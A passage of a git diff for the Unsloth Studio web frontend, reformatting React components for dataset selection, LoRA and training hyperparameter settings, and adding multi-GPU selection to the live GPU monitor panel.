-              setDatasetSubset={setDatasetSubset}
-              datasetSplit={datasetSplit}
-              setDatasetSplit={setDatasetSplit}
-              datasetEvalSplit={datasetEvalSplit}
-              setDatasetEvalSplit={setDatasetEvalSplit}
-            />
-          ) : datasetSource === "upload" && selectedLocalDataset ? (
-            <div className="rounded-lg border bg-muted/20 px-3.5 py-3">
-              <div className="mb-3 flex items-center justify-between gap-3">
-                <div>
-                  <p className="text-xs font-medium text-muted-foreground">
-                    {t("studio.dataset.localDatasetMetadata")}
-                  </p>
-                  <p className="text-[10px] text-muted-foreground/80">
-                    {t("studio.dataset.dataRecipeOutput")}
-                  </p>
-                </div>
-              </div>
+              <HfDatasetSubsetSplitSelectors
+                variant="studio"
+                enabled={true}
+                datasetName={dataset}
+                accessToken={hfToken || undefined}
+                datasetSubset={datasetSubset}
+                setDatasetSubset={setDatasetSubset}
+                datasetSplit={datasetSplit}
+                setDatasetSplit={setDatasetSplit}
+                datasetEvalSplit={datasetEvalSplit}
+                setDatasetEvalSplit={setDatasetEvalSplit}
+              />
+            ) : selectedDatasetName ? (
+              datasetSource === "upload" && selectedLocalDataset ? (
+                <div className="rounded-lg border bg-muted/20 px-3.5 py-3">
+                  <div className="mb-3 flex items-center justify-between gap-3">
+                    <div>
+                      <p className="text-xs font-medium text-muted-foreground">
+                        {t("studio.dataset.localDatasetMetadata")}
+                      </p>
+                      <p className="text-[10px] text-muted-foreground/80">
+                        {t("studio.dataset.dataRecipeOutput")}
+                      </p>
+                    </div>
+                  </div>
 
-              <div className="flex flex-col gap-3">
-                <div className="grid grid-cols-2 gap-x-4 gap-y-2 text-xs">
-                  <MetadataRow
-                    label={t("studio.dataset.rows")}
-                    value={
-                      typeof selectedLocalRows === "number"
-                        ? selectedLocalRows.toLocaleString()
-                        : "--"
-                    }
-                  />
-                  <MetadataRow
-                    label={t("studio.dataset.columns")}
-                    value={
-                      selectedLocalColumns.length > 0
-                        ? String(selectedLocalColumns.length)
-                        : "--"
-                    }
-                  />
-                  <MetadataRow
-                    label={t("studio.dataset.batches")}
-                    value={
-                      typeof selectedLocalMetadata?.num_completed_batches ===
-                        "number" &&
-                      typeof selectedLocalMetadata?.total_num_batches ===
-                        "number"
-                        ? `${selectedLocalMetadata.num_completed_batches}/${selectedLocalMetadata.total_num_batches}`
-                        : "--"
-                    }
-                  />
-                  <MetadataRow
-                    label={t("studio.dataset.updated")}
-                    value={formatUpdatedDate(selectedLocalUpdatedAt)}
-                  />
+                  <div className="flex flex-col gap-3">
+                    <div className="grid grid-cols-2 gap-x-4 gap-y-2 text-xs">
+                      <MetadataRow
+                        label={t("studio.dataset.rows")}
+                        value={
+                          typeof selectedLocalRows === "number"
+                            ? selectedLocalRows.toLocaleString()
+                            : "--"
+                        }
+                      />
+                      <MetadataRow
+                        label={t("studio.dataset.columns")}
+                        value={
+                          selectedLocalColumns.length > 0
+                            ? String(selectedLocalColumns.length)
+                            : "--"
+                        }
+                      />
+                      <MetadataRow
+                        label={t("studio.dataset.batches")}
+                        value={
+                          typeof selectedLocalMetadata?.num_completed_batches ===
+                            "number" &&
+                          typeof selectedLocalMetadata?.total_num_batches ===
+                            "number"
+                            ? `${selectedLocalMetadata.num_completed_batches}/${selectedLocalMetadata.total_num_batches}`
+                            : "--"
+                        }
+                      />
+                      <MetadataRow
+                        label={t("studio.dataset.updated")}
+                        value={formatUpdatedDate(selectedLocalUpdatedAt)}
+                      />
+                    </div>
+                  </div>
                 </div>
-              </div>
-            </div>
-          ) : null)}
+              ) : null
+            ) : (
+              <HfDatasetSubsetSplitSelectors
+                variant="studio"
+                enabled={false}
+                datasetName={null}
+                accessToken={hfToken || undefined}
+                datasetSubset={datasetSubset}
+                setDatasetSubset={setDatasetSubset}
+                datasetSplit={datasetSplit}
+                setDatasetSplit={setDatasetSplit}
+                datasetEvalSplit={datasetEvalSplit}
+                setDatasetEvalSplit={setDatasetEvalSplit}
+              />
+            ))}
 
           {datasetSource === "upload" && uploadedFile && (
             <div className="rounded-lg border bg-muted/20 px-3.5 py-3">
@@ -1135,7 +1170,7 @@ export function DatasetSection() {
           <Collapsible open={advancedOpen} onOpenChange={setAdvancedOpen}>
             <CollapsibleTrigger className="flex w-full cursor-pointer items-center gap-1.5 text-xs text-muted-foreground">
               <HugeiconsIcon
-                icon={ArrowDown01Icon}
+                icon={ChevronDownStandardIcon}
                 className={`size-3.5 transition-transform ${advancedOpen ? "rotate-180" : ""}`}
               />
               {t("studio.dataset.advanced")}
@@ -1180,11 +1215,15 @@ export function DatasetSection() {
                       <SelectValue />
                     </SelectTrigger>
                     <SelectContent>
-                      <SelectItem value="auto">{t("studio.dataset.auto")}</SelectItem>
+                      <SelectItem value="auto">
+                        {t("studio.dataset.auto")}
+                      </SelectItem>
                       <SelectItem value="alpaca">Alpaca</SelectItem>
                       <SelectItem value="chatml">ChatML</SelectItem>
                       <SelectItem value="sharegpt">ShareGPT</SelectItem>
-                      <SelectItem value="raw">{t("studio.dataset.rawText")}</SelectItem>
+                      <SelectItem value="raw">
+                        {t("studio.dataset.rawText")}
+                      </SelectItem>
                     </SelectContent>
                   </Select>
                 </div>
@@ -1382,8 +1421,8 @@ export function DatasetSection() {
                       {t("studio.dataset.dropFileOrClick")}
                     </span>
                     <span className="mt-0.5 block truncate text-[10px] text-muted-foreground">
-                      {TRAINING_DATASET_UPLOAD_LABEL} · up to{" "}
-                      {uploadLimitLabel}; {DOCUMENT_REDIRECT_LABEL}
+                      {TRAINING_DATASET_UPLOAD_LABEL} · up to {uploadLimitLabel}
+                      ; {DOCUMENT_REDIRECT_LABEL}
                     </span>
                   </span>
                 </button>
@@ -1400,7 +1439,10 @@ export function DatasetSection() {
                   {isUploading ? (
                     <Spinner className="size-3.5" />
                   ) : (
-                    <HugeiconsIcon icon={CloudUploadIcon} className="size-3.5" />
+                    <HugeiconsIcon
+                      icon={CloudUploadIcon}
+                      className="size-3.5"
+                    />
                   )}
                   {isUploading
                     ? t("studio.dataset.uploading")
diff --git a/studio/frontend/src/features/studio/sections/params-section.tsx b/studio/frontend/src/features/studio/sections/params-section.tsx
index 2609558145..ad438f63f1 100644
--- a/studio/frontend/src/features/studio/sections/params-section.tsx
+++ b/studio/frontend/src/features/studio/sections/params-section.tsx
@@ -1,7 +1,6 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { usePlatformStore } from "@/config/env";
 import { SectionCard } from "@/components/section-card";
 import { Checkbox } from "@/components/ui/checkbox";
 import {
@@ -9,7 +8,6 @@ import {
   CollapsibleContent,
   CollapsibleTrigger,
 } from "@/components/ui/collapsible";
-import { Input } from "@/components/ui/input";
 import {
   Combobox,
   ComboboxContent,
@@ -18,6 +16,7 @@ import {
   ComboboxItem,
   ComboboxList,
 } from "@/components/ui/combobox";
+import { Input } from "@/components/ui/input";
 import {
   Select,
   SelectContent,
@@ -32,6 +31,7 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { usePlatformStore } from "@/config/env";
 import {
   CONTEXT_LENGTHS,
   CPT_TARGET_MODULES,
@@ -39,18 +39,27 @@ import {
   OPTIMIZER_OPTIONS,
   TARGET_MODULES,
 } from "@/config/training";
-import { useMaxStepsEpochsToggle, useTrainingConfigStore } from "@/features/training";
+import {
+  useMaxStepsEpochsToggle,
+  useTrainingConfigStore,
+} from "@/features/training";
 import { isRawTextDatasetFormat } from "@/features/training/lib/training-methods";
+import { useT } from "@/i18n";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { isAdapterMethod } from "@/types/training";
 import type { GradientCheckpointing } from "@/types/training";
 import {
-  ArrowDown01Icon,
   InformationCircleIcon,
   Settings04Icon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { type ReactElement, type ReactNode, useEffect, useRef, useState } from "react";
-import { useT } from "@/i18n";
+import {
+  type ReactElement,
+  type ReactNode,
+  useEffect,
+  useRef,
+  useState,
+} from "react";
 
 type StudioT = ReturnType<typeof useT>;
 
@@ -122,7 +131,7 @@ function SliderRow({
           min={min}
           max={max}
           step={step}
-          className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+          className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
         />
       </div>
     </Row>
@@ -183,7 +192,6 @@ export function ParamsSection(): ReactElement {
   const showVisionImageSize = showVisionLora && !isDeepseekOcr;
   const [loraOpen, setLoraOpen] = useState(false);
   const [hyperOpen, setHyperOpen] = useState(false);
-  const needsExpandedHeight = isCpt || (isLora && loraOpen) || hyperOpen;
   const [ctxInput, setCtxInput] = useState(String(store.contextLength));
   const ctxAnchorRef = useRef<HTMLDivElement>(null);
   const ctxItems = CONTEXT_LENGTHS.map(String);
@@ -224,9 +232,7 @@ export function ParamsSection(): ReactElement {
         title={t("studio.params.title")}
         description={t("studio.params.description")}
         accent="orange"
-        className={`${needsExpandedHeight
-          ? "min-h-studio-config-column"
-          : "h-studio-config-column"} duration-150`}
+        className="min-h-studio-config-column"
       >
         <div className="flex flex-col gap-4">
           <div className="flex flex-col gap-2">
@@ -255,7 +261,9 @@ export function ParamsSection(): ReactElement {
             >
               <div className="flex items-center justify-between">
                 <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
-                  {useEpochs ? t("studio.params.epochs") : t("studio.params.maxSteps")}
+                  {useEpochs
+                    ? t("studio.params.epochs")
+                    : t("studio.params.maxSteps")}
                   <Tooltip>
                     <TooltipTrigger asChild={true}>
                       <button
@@ -289,7 +297,9 @@ export function ParamsSection(): ReactElement {
                     onClick={toggleUseEpochs}
                     className="text-xs text-primary underline cursor-pointer"
                   >
-                    {useEpochs ? t("studio.params.useMaxSteps") : t("studio.params.useEpochs")}
+                    {useEpochs
+                      ? t("studio.params.useMaxSteps")
+                      : t("studio.params.useEpochs")}
                   </button>
                   <input
                     type="number"
@@ -310,7 +320,7 @@ export function ParamsSection(): ReactElement {
                     min={1}
                     max={useEpochs ? epochsSliderMax : maxStepsSliderMax}
                     step={1}
-                    className="w-16 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                    className="w-16 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                   />
                 </div>
               </div>
@@ -387,9 +397,13 @@ export function ParamsSection(): ReactElement {
                     setCtxInput(String(store.contextLength));
                   }}
                   onKeyDown={(e) => {
-                    if (e.key !== "Enter") { return; }
+                    if (e.key !== "Enter") {
+                      return;
+                    }
                     const n = trySetContextLength(ctxInput);
-                    if (n === null) { return; }
+                    if (n === null) {
+                      return;
+                    }
                     if (!ctxItems.includes(ctxInput.trim())) {
                       e.stopPropagation();
                       e.preventDefault();
@@ -398,7 +412,9 @@ export function ParamsSection(): ReactElement {
                   }}
                 />
                 <ComboboxContent anchor={ctxAnchorRef}>
-                  <ComboboxEmpty>{t("studio.params.customContextLength")}</ComboboxEmpty>
+                  <ComboboxEmpty>
+                    {t("studio.params.customContextLength")}
+                  </ComboboxEmpty>
                   <ComboboxList className="p-1">
                     {(id: string) => (
                       <ComboboxItem key={id} value={id} className="font-mono">
@@ -506,194 +522,204 @@ export function ParamsSection(): ReactElement {
             <Collapsible open={loraOpen} onOpenChange={setLoraOpen}>
               <CollapsibleTrigger className="flex w-full cursor-pointer items-center gap-1.5 text-xs text-muted-foreground">
                 <HugeiconsIcon
-                  icon={ArrowDown01Icon}
+                  icon={ChevronDownStandardIcon}
                   className={`size-3.5 transition-transform ${loraOpen ? "rotate-180" : ""}`}
                 />
                 {t("studio.params.loraSettings")}
               </CollapsibleTrigger>
               <CollapsibleContent className="mt-3 data-[state=open]:overflow-visible">
                 <div className="pt-1.5 flex flex-col gap-4">
-                <SliderRow
-                  label={t("studio.params.rank")}
-                  tooltip={
-                    <>
-                      {t("studio.params.rankTooltip")}{" "}
-                      <a
-                        href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
-                        target="_blank"
-                        rel="noopener noreferrer"
-                        className="text-primary underline"
-                      >
-                        {t("studio.params.readMore")}
-                      </a>
-                    </>
-                  }
-                  value={store.loraRank}
-                  onChange={store.setLoraRank}
-                  min={4}
-                  max={128}
-                  step={4}
-                />
-                <SliderRow
-                  label={t("studio.params.alpha")}
-                  tooltip={
-                    <>
-                      {t("studio.params.alphaTooltip")}{" "}
-                      <a
-                        href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
-                        target="_blank"
-                        rel="noopener noreferrer"
-                        className="text-primary underline"
-                      >
-                        {t("studio.params.readMore")}
-                      </a>
-                    </>
-                  }
-                  value={store.loraAlpha}
-                  onChange={store.setLoraAlpha}
-                  min={4}
-                  max={256}
-                  step={4}
-                />
-                <SliderRow
-                  label={t("studio.params.dropout")}
-                  tooltip={
-                    <>
-                      {t("studio.params.dropoutTooltip")}{" "}
-                      <a
-                        href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
-                        target="_blank"
-                        rel="noopener noreferrer"
-                        className="text-primary underline"
-                      >
-                        {t("studio.params.readMore")}
-                      </a>
-                    </>
-                  }
-                  value={store.loraDropout}
-                  onChange={store.setLoraDropout}
-                  min={0}
-                  max={0.5}
-                  step={0.01}
-                  format={(v) => v.toFixed(2)}
-                />
+                  <SliderRow
+                    label={t("studio.params.rank")}
+                    tooltip={
+                      <>
+                        {t("studio.params.rankTooltip")}{" "}
+                        <a
+                          href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
+                          target="_blank"
+                          rel="noopener noreferrer"
+                          className="text-primary underline"
+                        >
+                          {t("studio.params.readMore")}
+                        </a>
+                      </>
+                    }
+                    value={store.loraRank}
+                    onChange={store.setLoraRank}
+                    min={4}
+                    max={128}
+                    step={4}
+                  />
+                  <SliderRow
+                    label={t("studio.params.alpha")}
+                    tooltip={
+                      <>
+                        {t("studio.params.alphaTooltip")}{" "}
+                        <a
+                          href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
+                          target="_blank"
+                          rel="noopener noreferrer"
+                          className="text-primary underline"
+                        >
+                          {t("studio.params.readMore")}
+                        </a>
+                      </>
+                    }
+                    value={store.loraAlpha}
+                    onChange={store.setLoraAlpha}
+                    min={4}
+                    max={256}
+                    step={4}
+                  />
+                  <SliderRow
+                    label={t("studio.params.dropout")}
+                    tooltip={
+                      <>
+                        {t("studio.params.dropoutTooltip")}{" "}
+                        <a
+                          href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
+                          target="_blank"
+                          rel="noopener noreferrer"
+                          className="text-primary underline"
+                        >
+                          {t("studio.params.readMore")}
+                        </a>
+                      </>
+                    }
+                    value={store.loraDropout}
+                    onChange={store.setLoraDropout}
+                    min={0}
+                    max={0.5}
+                    step={0.01}
+                    format={(v) => v.toFixed(2)}
+                  />
 
-                {/* Vision checkboxes */}
-                {showVisionLora && (
-                  <div className="flex flex-col gap-2 pt-1">
+                  {/* Vision checkboxes */}
+                  {showVisionLora && (
+                    <div className="flex flex-col gap-2 pt-1">
+                      {(
+                        [
+                          [
+                            "finetuneVisionLayers",
+                            t("studio.params.visionLayers"),
+                            store.finetuneVisionLayers,
+                            store.setFinetuneVisionLayers,
+                          ],
+                          [
+                            "finetuneLanguageLayers",
+                            t("studio.params.languageLayers"),
+                            store.finetuneLanguageLayers,
+                            store.setFinetuneLanguageLayers,
+                          ],
+                          [
+                            "finetuneAttentionModules",
+                            t("studio.params.attentionModules"),
+                            store.finetuneAttentionModules,
+                            store.setFinetuneAttentionModules,
+                          ],
+                          [
+                            "finetuneMLPModules",
+                            t("studio.params.mlpModules"),
+                            store.finetuneMLPModules,
+                            store.setFinetuneMLPModules,
+                          ],
+                        ] as const
+                      ).map(([key, label, value, setter]) => (
+                        <div key={key} className="flex items-center gap-2">
+                          <Checkbox
+                            id={key}
+                            checked={value as boolean}
+                            onCheckedChange={(v) =>
+                              (setter as (v: boolean) => void)(!!v)
+                            }
+                          />
+                          <label
+                            htmlFor={key}
+                            className="text-xs cursor-pointer text-muted-foreground"
+                          >
+                            {label}
+                          </label>
+                        </div>
+                      ))}
+                    </div>
+                  )}
+
+                  {/* Text target modules */}
+                  {!showVisionLora && (
+                    <div className="flex flex-col gap-2 pt-1">
+                      <span className="text-xs font-medium text-muted-foreground">
+                        {t("studio.params.targetModules")}
+                      </span>
+                      <div className="flex flex-wrap gap-1.5">
+                        {(isCpt ? CPT_TARGET_MODULES : TARGET_MODULES).map(
+                          (mod) => {
+                            const active = store.targetModules.includes(mod);
+                            return (
+                              <button
+                                key={mod}
+                                type="button"
+                                onClick={() => {
+                                  store.setTargetModules(
+                                    active
+                                      ? store.targetModules.filter(
+                                          (m) => m !== mod,
+                                        )
+                                      : [...store.targetModules, mod],
+                                  );
+                                }}
+                                className={`cursor-pointer rounded-full border px-2.5 py-0.5 text-[11px] font-mono transition-colors ${
+                                  active
+                                    ? "border-orange-300 bg-orange-50 text-orange-700 dark:border-orange-700 dark:bg-orange-950 dark:text-orange-300"
+                                    : "text-muted-foreground hover:bg-muted/50"
+                                }`}
+                              >
+                                {mod}
+                              </button>
+                            );
+                          },
+                        )}
+                      </div>
+                    </div>
+                  )}
+
+                  {/* LoRA variant */}
+                  <div className="flex gap-2">
                     {(
                       [
-                        [
-                          "finetuneVisionLayers",
-                          t("studio.params.visionLayers"),
-                          store.finetuneVisionLayers,
-                          store.setFinetuneVisionLayers,
-                        ],
-                        [
-                          "finetuneLanguageLayers",
-                          t("studio.params.languageLayers"),
-                          store.finetuneLanguageLayers,
-                          store.setFinetuneLanguageLayers,
-                        ],
-                        [
-                          "finetuneAttentionModules",
-                          t("studio.params.attentionModules"),
-                          store.finetuneAttentionModules,
-                          store.setFinetuneAttentionModules,
-                        ],
-                        [
-                          "finetuneMLPModules",
-                          t("studio.params.mlpModules"),
-                          store.finetuneMLPModules,
-                          store.setFinetuneMLPModules,
-                        ],
+                        {
+                          value: "lora",
+                          label: t("studio.params.enableLora"),
+                          desc: t("studio.params.trainWithLora"),
+                        },
+                        {
+                          value: "rslora",
+                          label: "RS-LoRA",
+                          desc: t("studio.params.stableRank"),
+                        },
+                        {
+                          value: "loftq",
+                          label: "LoftQ",
+                          desc: t("studio.params.memoryEfficient"),
+                        },
                       ] as const
-                    ).map(([key, label, value, setter]) => (
-                      <div key={key} className="flex items-center gap-2">
-                        <Checkbox
-                          id={key}
-                          checked={value as boolean}
-                          onCheckedChange={(v) =>
-                            (setter as (v: boolean) => void)(!!v)
-                          }
-                        />
-                        <label
-                          htmlFor={key}
-                          className="text-xs cursor-pointer text-muted-foreground"
-                        >
-                          {label}
-                        </label>
-                      </div>
+                    ).map((opt) => (
+                      <button
+                        key={opt.value}
+                        type="button"
+                        onClick={() => store.setLoraVariant(opt.value)}
+                        className={`flex-1 corner-squircle rounded-xl border px-3 py-2 text-left transition-colors cursor-pointer ${
+                          store.loraVariant === opt.value
+                            ? "border-ring-strong bg-primary/5"
+                            : "border-border hover:border-foreground/20"
+                        }`}
+                      >
+                        <p className="text-xs font-medium">{opt.label}</p>
+                        <p className="text-[10px] text-muted-foreground">
+                          {opt.desc}
+                        </p>
+                      </button>
                     ))}
                   </div>
-                )}
-
-                {/* Text target modules */}
-                {!showVisionLora && (
-                  <div className="flex flex-col gap-2 pt-1">
-                    <span className="text-xs font-medium text-muted-foreground">
-                      {t("studio.params.targetModules")}
-                    </span>
-                    <div className="flex flex-wrap gap-1.5">
-                      {(isCpt ? CPT_TARGET_MODULES : TARGET_MODULES).map((mod) => {
-                        const active = store.targetModules.includes(mod);
-                        return (
-                          <button
-                            key={mod}
-                            type="button"
-                            onClick={() => {
-                              store.setTargetModules(
-                                active
-                                  ? store.targetModules.filter((m) => m !== mod)
-                                  : [...store.targetModules, mod],
-                              );
-                            }}
-                            className={`cursor-pointer rounded-full border px-2.5 py-0.5 text-[11px] font-mono transition-colors ${active
-                                ? "border-orange-300 bg-orange-50 text-orange-700 dark:border-orange-700 dark:bg-orange-950 dark:text-orange-300"
-                                : "text-muted-foreground hover:bg-muted/50"
-                              }`}
-                          >
-                            {mod}
-                          </button>
-                        );
-                      })}
-                    </div>
-                  </div>
-                )}
-
-                {/* LoRA variant */}
-                <div className="flex gap-2">
-                  {(
-                    [
-                      {
-                        value: "lora",
-                        label: t("studio.params.enableLora"),
-                        desc: t("studio.params.trainWithLora"),
-                      },
-                      { value: "rslora", label: "RS-LoRA", desc: t("studio.params.stableRank") },
-                      {
-                        value: "loftq",
-                        label: "LoftQ",
-                        desc: t("studio.params.memoryEfficient"),
-                      },
-                    ] as const
-                  ).map((opt) => (
-                    <button
-                      key={opt.value}
-                      type="button"
-                      onClick={() => store.setLoraVariant(opt.value)}
-                      className={`flex-1 corner-squircle rounded-xl border px-3 py-2 text-left transition-colors cursor-pointer ${store.loraVariant === opt.value
-                          ? "border-primary/50 bg-primary/5 ring-1 ring-primary/20"
-                          : "border-border hover:border-foreground/20"
-                        }`}
-                    >
-                      <p className="text-xs font-medium">{opt.label}</p>
-                      <p className="text-[10px] text-muted-foreground">
-                        {opt.desc}
-                      </p>
-                    </button>
-                  ))}
-                </div>
                 </div>
               </CollapsibleContent>
             </Collapsible>
@@ -703,7 +729,7 @@ export function ParamsSection(): ReactElement {
           <Collapsible open={hyperOpen} onOpenChange={setHyperOpen}>
             <CollapsibleTrigger className="flex w-full cursor-pointer items-center gap-1.5 text-xs text-muted-foreground">
               <HugeiconsIcon
-                icon={ArrowDown01Icon}
+                icon={ChevronDownStandardIcon}
                 className={`size-3.5 transition-transform ${hyperOpen ? "rotate-180" : ""}`}
               />
               {t("studio.params.trainingHyperparameters")}
@@ -760,10 +786,7 @@ export function ParamsSection(): ReactElement {
                       </SelectTrigger>
                       <SelectContent>
                         {OPTIMIZER_OPTIONS.map((opt) => (
-                          <SelectItem
-                            key={opt.value}
-                            value={opt.value}
-                          >
+                          <SelectItem key={opt.value} value={opt.value}>
                             {formatOptimizerLabel(opt.value, opt.label, t)}
                           </SelectItem>
                         ))}
@@ -795,10 +818,7 @@ export function ParamsSection(): ReactElement {
                       </SelectTrigger>
                       <SelectContent>
                         {LR_SCHEDULER_OPTIONS.map((opt) => (
-                          <SelectItem
-                            key={opt.value}
-                            value={opt.value}
-                          >
+                          <SelectItem key={opt.value} value={opt.value}>
                             {formatSchedulerLabel(opt.value, opt.label, t)}
                           </SelectItem>
                         ))}
@@ -942,7 +962,9 @@ export function ParamsSection(): ReactElement {
                     <Input
                       type="number"
                       value={store.saveSteps}
-                      onChange={(e) => store.setSaveSteps(Number(e.target.value))}
+                      onChange={(e) =>
+                        store.setSaveSteps(Number(e.target.value))
+                      }
                       className="w-28 font-mono"
                     />
                   </Row>
@@ -956,11 +978,16 @@ export function ParamsSection(): ReactElement {
                       min="0.0"
                       max="1.0"
                       value={store.evalSteps}
-                      onChange={(e) => store.setEvalSteps(Number(e.target.value))}
+                      onChange={(e) =>
+                        store.setEvalSteps(Number(e.target.value))
+                      }
                       className="w-28 font-mono"
                     />
                   </Row>
-                  <Row label={t("studio.params.seed")} tooltip={t("studio.params.seedTooltip")}>
+                  <Row
+                    label={t("studio.params.seed")}
+                    tooltip={t("studio.params.seedTooltip")}
+                  >
                     <Input
                       type="number"
                       value={store.randomSeed}
@@ -972,14 +999,18 @@ export function ParamsSection(): ReactElement {
                   </Row>
                 </TabsContent>
 
-                <TabsContent value="memory" className="mt-3 flex flex-col gap-3">
+                <TabsContent
+                  value="memory"
+                  className="mt-3 flex flex-col gap-3"
+                >
                   {showVisionImageSize && (
                     <Row
                       label="Image Size"
                       tooltip={
                         <>
                           Resize images by maximum side length. Default uses the
-                          model image size. Larger images use up more context. Does not upscale or change aspect ratio.{" "}
+                          model image size. Larger images use up more context.
+                          Does not upscale or change aspect ratio.{" "}
                           <a
                             href="https://unsloth.ai/docs/basics/vision-fine-tuning"
                             target="_blank"
@@ -1014,9 +1045,7 @@ export function ParamsSection(): ReactElement {
                             !visionImageSizePresets.includes(
                               store.visionImageSize,
                             ) && (
-                              <SelectItem
-                                value={String(store.visionImageSize)}
-                              >
+                              <SelectItem value={String(store.visionImageSize)}>
                                 {store.visionImageSize}
                               </SelectItem>
                             )}
@@ -1048,15 +1077,21 @@ export function ParamsSection(): ReactElement {
                     <Select
                       value={store.gradientCheckpointing}
                       onValueChange={(v) =>
-                        store.setGradientCheckpointing(v as GradientCheckpointing)
+                        store.setGradientCheckpointing(
+                          v as GradientCheckpointing,
+                        )
                       }
                     >
                       <SelectTrigger className="w-32">
                         <SelectValue />
                       </SelectTrigger>
                       <SelectContent>
-                        <SelectItem value="none">{t("studio.params.none")}</SelectItem>
-                        <SelectItem value="true">{t("studio.params.standard")}</SelectItem>
+                        <SelectItem value="none">
+                          {t("studio.params.none")}
+                        </SelectItem>
+                        <SelectItem value="true">
+                          {t("studio.params.standard")}
+                        </SelectItem>
                         {platformDeviceType === "mac" ? (
                           <SelectItem value="mlx">MLX</SelectItem>
                         ) : (
@@ -1086,7 +1121,9 @@ export function ParamsSection(): ReactElement {
                         id="trainOnCompletions"
                         checked={store.trainOnCompletions}
                         disabled={store.datasetStreaming}
-                        onCheckedChange={(v) => store.setTrainOnCompletions(!!v)}
+                        onCheckedChange={(v) =>
+                          store.setTrainOnCompletions(!!v)
+                        }
                       />
                       <label
                         htmlFor="trainOnCompletions"
diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx
index 6aaca86e0b..1aaa3b6889 100644
--- a/studio/frontend/src/features/studio/sections/progress-section.tsx
+++ b/studio/frontend/src/features/studio/sections/progress-section.tsx
@@ -29,6 +29,7 @@ import {
 import { getTrainingMethodLabel } from "@/features/training/lib/training-methods";
 import type { TrainingViewData } from "@/features/training";
 import { useGpuUtilization } from "@/hooks";
+import type { GpuUtilization } from "@/hooks/use-gpu-utilization";
 import { cn } from "@/lib/utils";
 import {
   ChartAverageIcon,
@@ -42,7 +43,7 @@ import {
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { Link, useNavigate } from "@tanstack/react-router";
-import { type ReactElement, type ReactNode, useState } from "react";
+import { type ReactElement, type ReactNode, useEffect, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
 import { ChartSettingsSheet } from "./charts/chart-settings-sheet";
 import {
@@ -123,18 +124,17 @@ export function ProgressSection({
   const [stopDialogOpen, setStopDialogOpen] = useState(false);
   const [stopRequestedLocal, setStopRequestedLocal] = useState(false);
 
-  // Auto-resets when training stops; no useEffect needed
   const stopRequested = data.isTrainingRunning && stopRequestedLocal;
 
   const pct =
     data.totalSteps > 0
       ? Math.min(
-          100,
-          Math.max(
-            0,
-            Math.round((data.currentStep / data.totalSteps) * 100),
-          ),
-        )
+        100,
+        Math.max(
+          0,
+          Math.round((data.currentStep / data.totalSteps) * 100),
+        ),
+      )
       : Math.round(data.progressPercent);
 
   const elapsed = data.elapsedSeconds;
@@ -214,16 +214,16 @@ export function ProgressSection({
     },
     ...(data.trainingMethod !== "full"
       ? [
-          {
-            section: "LoRA",
-            rows: [
-              configRow(t("studio.progress.rank"), cfgLoraRank),
-              configRow(t("studio.progress.alpha"), cfgLoraAlpha),
-              configRow(t("studio.progress.dropout"), cfgLoraDropout),
-              configRow(t("studio.progress.variant"), cfgLoraVariant),
-            ],
-          },
-        ]
+        {
+          section: "LoRA",
+          rows: [
+            configRow(t("studio.progress.rank"), cfgLoraRank),
+            configRow(t("studio.progress.alpha"), cfgLoraAlpha),
+            configRow(t("studio.progress.dropout"), cfgLoraDropout),
+            configRow(t("studio.progress.variant"), cfgLoraVariant),
+          ],
+        },
+      ]
       : []),
   ];
 
@@ -350,8 +350,8 @@ export function ProgressSection({
               {stepsPerSecond == null
                 ? t("studio.progress.noStepsPerSecond")
                 : t("studio.progress.stepsPerSecond", {
-                    value: stepsPerSecond.toFixed(2),
-                  })}
+                  value: stepsPerSecond.toFixed(2),
+                })}
             </span>
             {data.currentNumTokens != null && (
               <span>{t("studio.progress.tokens", { value: data.currentNumTokens })}</span>
@@ -373,14 +373,50 @@ function LiveGpuPanel({
   isTrainingRunning: boolean;
 }): ReactElement {
   const t = useT();
-  const gpu = useGpuUtilization(isTrainingRunning);
+  const [selectedGpu, setSelectedGpu] = useState(0);
+  const gpuData = useGpuUtilization(isTrainingRunning);
+  const gpus: GpuUtilization[] =
+    Array.isArray(gpuData?.devices) && gpuData.devices.length > 0
+      ? gpuData.devices
+      : gpuData && Object.keys(gpuData).length > 0
+        ? [gpuData]
+        : [];
+
+  useEffect(() => {
+    if (selectedGpu > 0 && selectedGpu >= gpus.length) {
+      setSelectedGpu(0);
+    }
+  }, [gpus.length, selectedGpu]);
+
+  const gpuCount = gpus.length;
+  const currentGpu: Partial<GpuUtilization> = gpus[selectedGpu] || gpus[0] || {};
 
   return (
     <div className="flex flex-col gap-3">
-      <div className="flex items-center justify-between">
-        <p className="text-xs font-medium text-muted-foreground">
-          {t("studio.progress.gpuMonitor")}
-        </p>
